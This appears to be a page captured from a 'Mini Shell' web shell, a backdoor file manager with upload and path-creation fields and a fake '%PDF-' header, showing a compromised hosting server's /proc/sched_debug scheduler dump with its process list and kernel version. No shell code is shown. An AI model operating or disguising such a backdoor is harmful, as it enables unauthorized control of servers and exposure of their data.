%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/sched_debug

Sched Debug Version: v0.11, 3.10.0-1160.119.1.el7.tuxcare.els6.x86_64 #1
ktime                                   : 1282479817.212224
sched_clk                               : 1282468995.066222
cpu_clk                                 : 1282468995.066326
jiffies                                 : 5577147114
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2099.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 318034542
  .nr_load_updates               : 399070147
  .nr_uninterruptible            : 49044
  .next_balance                  : 5577.147119
  .curr->pid                     : 0
  .clock                         : 1282468993.917579
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 3
  .cpu_load[3]                   : 26
  .cpu_load[4]                   : 40
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 386706017.182200
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 65
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 3149
  .avg->runnable_avg_period      : 46281

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
    kworker/0:0H     4      1632.823344         7   100         0.000000         0.055288         0.000000 0 /
     ksoftirqd/0     6 386705919.824556    821473   120         0.000000    112558.706266         0.000000 0 /
     migration/0     7         0.000000   1011147     0         0.000000     24939.737487         0.000000 0 /
          rcu_bh     8 386702189.534123     95068   120         0.000000      2058.004225         0.000000 0 /
   lru-add-drain    10        39.205859         2   100         0.000000         0.002733         0.000000 0 /
      watchdog/0    11         0.000000    320622     0         0.000000     10397.955585         0.000000 0 /
    kworker/0:1H   457 386705238.737404    985363   100         0.000000     42727.720011         0.000000 0 /
          auditd   591 386704516.889766    157817   116         0.000000     11224.972822         0.000000 0 /
         chronyd   724 386706011.378055   2550907   120         0.000000   7123187.536628         0.000000 0 /
       in:imklog  1429 386706005.318789   2028980   120         0.000000    320861.814595         0.000000 0 /
  pdns/webserver  2427 366704964.164649        63   120         0.000000         8.214636         0.000000 0 /
          mysqld  6299 386706005.240135   2564411   120         0.000000    125039.516470         0.000000 0 /
          mysqld  6303 386706005.236853   2576208   120         0.000000    125822.942811         0.000000 0 /
          mysqld  6679 386705967.335232   1282552   120         0.000000    119983.505012         0.000000 0 /
          mysqld  6683 386475883.074934     48124   120         0.000000      1081.452691         0.000000 0 /
          mysqld  6719     20047.656970         1   120         0.000000         0.011592         0.000000 0 /
        gssproxy 20843 157627508.162780         2   120         0.000000         0.056596         0.000000 0 /
        gssproxy 20844 157627520.176872         1   120         0.000000         0.014098         0.000000 0 /
        gssproxy 20845 157627532.203790         1   120         0.000000         0.026924         0.000000 0 /
        gssproxy 20846 157627544.218394         1   120         0.000000         0.014610         0.000000 0 /
        gssproxy 20847 157627556.243916         1   120         0.000000         0.025528         0.000000 0 /
 CalendarServer  22458 382217281.790818    223790   120         0.000000    108579.300591         0.000000 0 /
 CalendarServer  22460 368163763.057066    333281   120         0.000000    156875.150423         0.000000 0 /
 CalendarServer  11169 368444276.292550      7942   120         0.000000       903.549578         0.000000 0 /
 CalendarServer  22591 382451251.511540    452121   120         0.000000     51005.750965         0.000000 0 /
        postgres 22592 382451251.494402    205014   120         0.000000     23136.683550         0.000000 0 /
           gmain 24550 157649008.164765         3   120         0.000000         0.123188         0.000000 0 /
           tuned 24563 157649074.511210         1   120         0.000000         1.436648         0.000000 0 /
        postgres 25054 366166941.791137        54   120         0.000000        14.178242         0.000000 0 /
        postgres 25060 386692764.674097      2612   120         0.000000       428.045034         0.000000 0 /
            rngd 25744 386706005.731968  30466761   120         0.000000   1216307.275943         0.000000 0 /
           spamd  5764 386705967.787754     89419   120         0.000000     52492.468458         0.000000 0 /
             log 19119 386705919.560736    204567   120         0.000000     29680.063218         0.000000 0 /
     spamd child  9244 386698006.398458      5376   120         0.000000     14159.781083         0.000000 0 /
     kworker/0:0 17490 386706005.249651     24561   120         0.000000      1672.803506         0.000000 0 /
           httpd 29905 386704796.671486      1493   120         0.000000       204.567960         0.000000 0 /
           httpd 29910 386704799.120843       822   120         0.000000       160.862958         0.000000 0 /
           httpd 29911 386704799.134810       673   120         0.000000       134.865250         0.000000 0 /
           httpd 29914 386704497.603019      1377   120         0.000000       207.297972         0.000000 0 /
           httpd 29920 386702312.042557      1326   120         0.000000      1224.231917         0.000000 0 /
           httpd 29930 386704784.032147      1441   120         0.000000      1326.400879         0.000000 0 /
           httpd 29941 386705714.887775      1865   120         0.000000      1721.622253         0.000000 0 /
           httpd  3404 386254992.613219        19   120         0.000000         8.126955         0.000000 0 /
           httpd  3418 386704897.102203      1815   120         0.000000       203.445719         0.000000 0 /
           httpd  3433 386703763.586532      1224   120         0.000000       976.772516         0.000000 0 /
           httpd  3435 386704796.018693       684   120         0.000000       631.351260         0.000000 0 /
           httpd  3447 386702175.720299       476   120         0.000000       441.981232         0.000000 0 /
           httpd  3502 386255147.269381         1   120         0.000000         5.334590         0.000000 0 /
           httpd  3508 386704432.555071      2481   120         0.000000       244.470334         0.000000 0 /
           httpd  3532 386704803.362506      2103   120         0.000000      1520.224670         0.000000 0 /
           httpd  3537 386702175.327792       617   120         0.000000       516.291067         0.000000 0 /
           httpd  3540 386704416.899770       843   120         0.000000       698.269132         0.000000 0 /
           httpd  3543 386704517.363382      1131   120         0.000000       835.513906         0.000000 0 /
           httpd  3544 386703648.924376       499   120         0.000000       446.618398         0.000000 0 /
           httpd  3563 386704795.489763      2117   120         0.000000       222.643718         0.000000 0 /
           httpd  3565 386704722.765915      1082   120         0.000000       132.618804         0.000000 0 /
           httpd  3567 386704793.582230       514   120         0.000000       106.540048         0.000000 0 /
           httpd  3571 386704796.595060      2816   120         0.000000       274.507048         0.000000 0 /
           httpd  3573 386704722.655133       796   120         0.000000       112.063213         0.000000 0 /
           httpd  3575 386704707.641569       338   120         0.000000        84.847775         0.000000 0 /
           httpd  3577 386704841.892105       477   120         0.000000        90.650353         0.000000 0 /
           httpd  3578 386704794.840634       499   120         0.000000        97.458060         0.000000 0 /
           httpd  3582 386704821.734671       544   120         0.000000        98.600364         0.000000 0 /
           httpd  3584 386704770.814534       542   120         0.000000        94.585606         0.000000 0 /
           httpd  3596 386704622.296959       444   120         0.000000       410.956876         0.000000 0 /
           httpd  3598 386704881.321488       518   120         0.000000       448.974369         0.000000 0 /
           httpd  3592 386705920.003188       335   120         0.000000        78.696202         0.000000 0 /
           httpd  3600 386704476.379798      3455   120         0.000000       278.326422         0.000000 0 /
           httpd  3607 386704519.820266       191   120         0.000000        70.746562         0.000000 0 /
           httpd  3618 386704519.219978       569   120         0.000000       107.595702         0.000000 0 /
           httpd  3622 386704585.555200       420   120         0.000000        88.936679         0.000000 0 /
           httpd  3646 386704585.286602      2742   120         0.000000      1642.033404         0.000000 0 /
           httpd  3649 386703648.682322      2186   120         0.000000      1911.869150         0.000000 0 /
     kworker/0:1 14796 386704431.383815         4   120         0.000000         0.104073         0.000000 0 /
     kworker/0:2 24601 386704443.363407         2   120         0.000000         0.050788         0.000000 0 /
            exim 24772 386705979.278194        10   120         0.000000        88.402900         0.000000 0 /

cpu#1, 2099.998 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 344728468
  .nr_load_updates               : 1134621554
  .nr_uninterruptible            : 53842
  .next_balance                  : 5577.147126
  .curr->pid                     : 20239
  .clock                         : 1282468995.868062
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 961
  .cpu_load[2]                   : 715
  .cpu_load[3]                   : 457
  .cpu_load[4]                   : 267
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 426065097.257041
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 39359080.074841
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 48
  .blocked_load_avg              : 11
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 3590
  .avg->runnable_avg_period      : 46573

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.992657    320622     0         0.000000     10088.634709         0.000000 0 /
     migration/1    13         0.000000    943102     0         0.000000     24493.924882         0.000000 0 /
     ksoftirqd/1    14 426065084.496743   6966096   120         0.000000    275089.410657         0.000000 0 /
    kworker/1:0H    16     27265.390566         9   100         0.000000         0.127264         0.000000 0 /
           netns    49        46.084331         2   100         0.000000         0.029108         0.000000 0 /
     kintegrityd    52        70.144183         2   100         0.000000         0.012551         0.000000 0 /
          bioset    53        78.155580         2   100         0.000000         0.012253         0.000000 0 /
          bioset    54        86.176032         2   100         0.000000         0.021285         0.000000 0 /
          bioset    55        94.187839         2   100         0.000000         0.012680         0.000000 0 /
         kblockd    56       102.199709         2   100         0.000000         0.012756         0.000000 0 /
              md    57       110.241349         2   100         0.000000         0.043053         0.000000 0 /
     edac-poller    58       118.321431         2   100         0.000000         0.081618         0.000000 0 /
            ksmd    66       167.117581         2   125         0.000000         0.050870         0.000000 0 /
      khugepaged    67 426064043.923562     51125   139         0.000000      9797.215753         0.000000 0 /
          crypto    68       183.621468         2   100         0.000000         0.020534         0.000000 0 /
        kthrotld    76       232.076258         2   100         0.000000         0.019557         0.000000 0 /
    kmpath_rdacd    78       248.201873         2   100         0.000000         0.019289         0.000000 0 /
          kaluad    79       256.218712         2   100         0.000000         0.018966         0.000000 0 /
       kpsmoused    80       264.232081         2   100         0.000000         0.015494         0.000000 0 /
            lsmd   635 426065068.753234     85595   120         0.000000      5706.177723         0.000000 0 /
      irqbalance   639 426064791.051142    128822   120         0.000000     96089.434752         0.000000 0 /
   rs:main Q:Reg  1434 426065084.540557   5492893   120         0.000000    550089.515441         0.000000 0 /
 pdns/carbonDump  2431 426065084.484263   1282531   120         0.000000     74132.595829         0.000000 0 /
           crond  1437 426064270.084616     63317   120         0.000000     18906.589462         0.000000 0 /
          python  1556 426064770.631191     81294   120         0.000000   2889072.440929         0.000000 0 /
          python  1558 426064624.933184     78167   120         0.000000     57417.260978         0.000000 0 /
          mysqld  6302 426065084.483000   2577731   120         0.000000    127270.852231         0.000000 0 /
          mysqld  6305 426065082.864763   1299107   120         0.000000     95636.592418         0.000000 0 /
          mysqld  6678 426065082.865871   1282398   120         0.000000     76347.537692         0.000000 0 /
          mysqld  7164     28024.022520         1   120         0.000000         0.073891         0.000000 0 /
    kworker/1:1H  6665 426064545.948338   1363166   100         0.000000     53357.802558         0.000000 0 /
            nscd 18318 426064945.681481    315291   120         0.000000    111052.748935         0.000000 0 /
            nscd 19891 426065021.479916    614675   120         0.000000     81392.878008         0.000000 0 /
            nscd   750 426065037.481534    613167   120         0.000000     81509.873883         0.000000 0 /
      tailwatchd 20421 426065097.257041   6106934   120         0.000000   3710282.032881         0.000000 0 /
       memcached 22297 426065082.876240    779960   120         0.000000     53822.632201         0.000000 0 /
        postgres 22304 426063943.575660     52244   120         0.000000     24033.379978         0.000000 0 /
        postgres 22363 426063943.464341    120611   120         0.000000     25737.154777         0.000000 0 /
 CalendarServer  22461 423058393.752060    202114   120         0.000000     99409.716225         0.000000 0 /
 CalendarServer  22593 422092322.912403    309808   120         0.000000     35177.307060         0.000000 0 /
 CalendarServer  22607 408370822.394510    299216   120         0.000000     32985.629210         0.000000 0 /
        postgres 22594 422092314.298396    141449   120         0.000000     15989.335867         0.000000 0 /
        postgres 22609 408370822.356620    136466   120         0.000000     15062.857262         0.000000 0 /
           tuned 24551 426065084.585270    780509   120         0.000000    136607.114225         0.000000 0 /
           tuned 24558 173808810.468141         3   120         0.000000         0.313616         0.000000 0 /
 cpanellogd - sl 25724 426041157.096751     11813   138         0.000000      4818.333625         0.000000 0 /
            exim 19160 426050803.753588      8582   120         0.000000      5678.218445         0.000000 0 /
       splitlogs 19342 426065084.528169    161971   120         0.000000     13373.355768         0.000000 0 /
      run-script 20824 426064797.241648      2159   120         0.000000      2393.873495         0.000000 0 /
            exim 21596 426055632.678227     40296   120         0.000000     19558.370344         0.000000 0 /
            exim 25364 426065070.211685     40749   120         0.000000     19133.163566         0.000000 0 /
            exim 28999 426064399.306483     40875   120         0.000000     19573.241608         0.000000 0 /
            exim  2161 426057958.882690     23901   120         0.000000     11002.187253         0.000000 0 /
     kworker/1:1 12299 426065084.483597    128361   120         0.000000      3834.678233         0.000000 0 /
           httpd 29907 426065070.777898       603   120         0.000000       145.504531         0.000000 0 /
           httpd 29928 426064408.205147      2443   120         0.000000      1869.562881         0.000000 0 /
           httpd 29929 426061907.847717      1369   120         0.000000      1213.959611         0.000000 0 /
   kworker/u16:1  9524 426064950.059282      6202   120         0.000000      2035.798834         0.000000 0 /
           httpd  3406 426064798.259750       348   120         0.000000        91.569686         0.000000 0 /
           httpd  3412 426064807.454739       403   120         0.000000        95.735625         0.000000 0 /
           httpd  3426 426065071.142359      2666   120         0.000000       260.356999         0.000000 0 /
           httpd  3428 426064793.903247       347   120         0.000000        86.904759         0.000000 0 /
           httpd  3444 426065077.177039      1444   120         0.000000      1036.410044         0.000000 0 /
           httpd  3451 426062164.186014      1389   120         0.000000       953.180483         0.000000 0 /
           httpd  3456 426065082.846082      3897   120         0.000000       341.733610         0.000000 0 /
           httpd  3506 426063658.415475      1030   120         0.000000       140.382278         0.000000 0 /
           httpd  3512 426065085.583638      1457   120         0.000000       171.184867         0.000000 0 /
           httpd  3517 426063739.109699       689   120         0.000000       109.261988         0.000000 0 /
           httpd  3527 426065085.925018      5679   120         0.000000       508.564398         0.000000 0 /
           httpd  3533 426064424.748989      1657   120         0.000000      1274.880596         0.000000 0 /
           httpd  3559 425494150.329968         2   120         0.000000         5.023477         0.000000 0 /
           httpd  3627 426061907.823928       785   120         0.000000       555.057337         0.000000 0 /
           httpd  3633 426064401.793367       787   120         0.000000       619.455748         0.000000 0 /
           httpd  3638 426061762.790290      1019   120         0.000000       747.417277         0.000000 0 /
           httpd  3613 426064251.940425       650   120         0.000000       101.093802         0.000000 0 /
           httpd  3639 426063514.785634       749   120         0.000000       518.424100         0.000000 0 /
     kworker/1:2  5128 425867250.045964         3   120         0.000000         0.043801         0.000000 0 /
         php-fpm 20231 426065087.772640      4476   120         0.000000      9485.809683         0.000000 0 /
R        php-fpm 20239 426065087.538968      4823   120         0.000000     10521.656091         0.000000 0 /

cpu#2, 2099.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 313906194
  .nr_load_updates               : 375403668
  .nr_uninterruptible            : 64385
  .next_balance                  : 5577.147121
  .curr->pid                     : 0
  .clock                         : 1282468990.889697
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 16
  .cpu_load[2]                   : 60
  .cpu_load[3]                   : 64
  .cpu_load[4]                   : 45
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 471602665.146145
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 84896647.963945
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 35
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1708
  .avg->runnable_avg_period      : 47564

rt_rq[2]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/2    17        -5.991704    320622     0         0.000000      9552.882835         0.000000 0 /
     migration/2    18         0.000000    927849     0         0.000000     25176.124708         0.000000 0 /
     ksoftirqd/2    19 471602634.603812    964461   120         0.000000     91459.408371         0.000000 0 /
    kworker/2:0H    21     10123.925031         9   100         0.000000         0.087871         0.000000 0 /
       watchdogd    59         6.976317         2   100         0.000000         0.026640         0.000000 0 /
 systemd-journal   412 471602652.353165   5403204   120         0.000000   2913166.915145         0.000000 0 /
           acpid   745      2102.704705         6   120         0.000000         1.451600         0.000000 0 /
    jbd2/loop0-8   768 471602405.553770    503637   120         0.000000     23480.203802         0.000000 0 /
        rsyslogd  1403 471563259.178063      2277   120         0.000000       166.432008         0.000000 0 /
     in:imuxsock  1428 471602639.736815   3438253   120         0.000000    301916.948087         0.000000 0 /
 dnsadmin - dorm  1664 471602268.326501    135454   120         0.000000     45372.224568         0.000000 0 /
    kworker/2:1H  2775 471602569.938998   1873085   100         0.000000     82848.304149         0.000000 0 /
          mysqld  6164 471602282.672407     86631   120         0.000000      8193.334822         0.000000 0 /
          mysqld  6298 471602645.450908   2564464   120         0.000000    124393.999748         0.000000 0 /
          mysqld  6300 471602645.405470   2564447   120         0.000000    125105.046109         0.000000 0 /
          mysqld  6304 471602646.301196   2578326   120         0.000000    125575.846045         0.000000 0 /
          mysqld  6680 471602620.606022    256541   120         0.000000     15493.608096         0.000000 0 /
          mysqld  6682 471241101.653429    122078   120         0.000000     20901.498207         0.000000 0 /
          mysqld  6684 471241100.349399     48961   120         0.000000      1031.106628         0.000000 0 /
          mysqld  6685 471241100.388404     54510   120         0.000000       933.138566         0.000000 0 /
          mysqld 25428 471595159.619890    226590   120         0.000000     49928.601611         0.000000 0 /
            nscd 18316 471601808.479292     43572   120         0.000000     11821.717310         0.000000 0 /
            nscd 18322 471602539.354866    622152   120         0.000000     82097.029515         0.000000 0 /
            nscd 19892 471602634.525452    614967   120         0.000000     81476.528863         0.000000 0 /
            nscd   749 471602634.647680    613529   120         0.000000     81329.508789         0.000000 0 /
            nscd 18410 471602537.859020     46418   120         0.000000      7705.836372         0.000000 0 /
            nscd 18412 471602539.350449     46470   120         0.000000      7695.067290         0.000000 0 /
 cPhulkd - dbpro 19341 471602643.163977    864730   120         0.000000    629193.936926         0.000000 0 /
 CalendarServer  17984 471602621.750065  10038252   120         0.000000   2009245.374650         0.000000 0 /
        postgres 22360 471602489.664927    128376   120         0.000000     18306.766094         0.000000 0 /
        postgres 22362 471602634.511880    236922   120         0.000000     16470.106979         0.000000 0 /
 CalendarServer  22595 457739674.035765      9092   120         0.000000      1085.673584         0.000000 0 /
 CalendarServer   2835 458056610.802693      9187   120         0.000000      1027.631078         0.000000 0 /
 CalendarServer  22459 471602520.798621    238418   120         0.000000    120317.248687         0.000000 0 /
 CalendarServer  22599 471600318.158483    382856   120         0.000000     43039.606267         0.000000 0 /
 CalendarServer   6207 471600309.505503      9528   120         0.000000      1152.636912         0.000000 0 /
        postgres 22600 471600313.343364    172743   120         0.000000     19411.658789         0.000000 0 /
        postgres 25061 471602487.428153    153612   120         0.000000     10997.665295         0.000000 0 /
        postgres 17986 471602621.048837   8018104   120         0.000000    632017.625733         0.000000 0 /
      imap-login 19117 471600370.588110     44464   120         0.000000     18376.263096         0.000000 0 /
           anvil 19118 471602620.631003    131701   120         0.000000     11357.750860         0.000000 0 /
      pop3-login 19120 471591825.962704      2813   120         0.000000      1091.348242         0.000000 0 /
      run-script 20820 471602640.050300    128483   120         0.000000     88755.302652         0.000000 0 /
           httpd 29896 471602635.866596      1382   120         0.000000       186.764486         0.000000 0 /
           httpd 29902 471602635.569621       566   120         0.000000       133.112608         0.000000 0 /
           httpd 29909 471601799.785355      1217   120         0.000000       183.474295         0.000000 0 /
           httpd 29912 471600862.034149      2196   120         0.000000       266.036326         0.000000 0 /
           httpd 29913 471600865.686844       699   120         0.000000       138.563573         0.000000 0 /
           httpd 29919 471600021.396741      1433   120         0.000000      1404.082317         0.000000 0 /
           httpd 29934 471599585.511796      1328   120         0.000000      1248.705596         0.000000 0 /
           httpd  3410 471602387.539220      2243   120         0.000000       219.342214         0.000000 0 /
           httpd  3417 471602376.420657       867   120         0.000000       127.837555         0.000000 0 /
           httpd  3423 471602465.450146       564   120         0.000000       100.476853         0.000000 0 /
           httpd  3446 471601928.270148       506   120         0.000000       511.724439         0.000000 0 /
           httpd  3519 471599970.784890       687   120         0.000000       106.375958         0.000000 0 /
           httpd  3531 471602571.946825       530   120         0.000000       486.858855         0.000000 0 /
           httpd  3536 471598154.092191       627   120         0.000000       545.518768         0.000000 0 /
           httpd  3554 471602639.569924      3888   120         0.000000       335.513592         0.000000 0 /
           httpd  3562 471601741.880481       799   120         0.000000       107.686305         0.000000 0 /
           httpd  3570 471601654.772307      1364   120         0.000000       155.867727         0.000000 0 /
           httpd  3594 471599534.143481       969   120         0.000000       765.653164         0.000000 0 /
           httpd  3609 471600006.112547       672   120         0.000000       570.951666         0.000000 0 /
           httpd  3621 471600027.003919       950   120         0.000000       640.060754         0.000000 0 /
           httpd  3628 471598534.765803      1182   120         0.000000       890.407157         0.000000 0 /
           httpd  3630 471600860.788750       547   120         0.000000       500.365649         0.000000 0 /
           httpd  3640 471602570.179174      3887   120         0.000000       342.485809         0.000000 0 /
           httpd  3560 470959956.069281         1   120         0.000000         5.289332         0.000000 0 /
           httpd  3642 471600027.522463      1008   120         0.000000       939.686213         0.000000 0 /
           httpd  3644 471599992.117494       480   120         0.000000       415.136405         0.000000 0 /
           httpd  3650 471602051.419067       921   120         0.000000       732.932828         0.000000 0 /
     kworker/2:2 24204 471602650.532040      4426   120         0.000000       121.403923         0.000000 0 /
     kworker/2:1  5150 471329987.875013         4   120         0.000000         0.046263         0.000000 0 /
         php-fpm 20197 471602638.353432      5777   120         0.000000     16106.449644         0.000000 0 /
         php-fpm 22840 471602639.563730       641   120         0.000000       360.155135         0.000000 0 /
         php-fpm 23698 471602650.658869       330   120         0.000000       162.347412         0.000000 0 /
            exim 23903 471600040.887600         3   120         0.000000         5.178887         0.000000 0 /
            exim 24688 471602665.146145        86   120         0.000000        78.314844         0.000000 0 /
            sshd 24763 471602639.971355        15   120         0.000000        18.528614         0.000000 0 /

cpu#3, 2099.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 278681815
  .nr_load_updates               : 533692674
  .nr_uninterruptible            : 54734
  .next_balance                  : 5577.147058
  .curr->pid                     : 0
  .clock                         : 1282468990.254569
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 11
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 431034429.298377
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 44328412.116177
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 29
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 1699
  .avg->runnable_avg_period      : 48113

rt_rq[3]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[3]:/Imunify.slice/Scan.slice
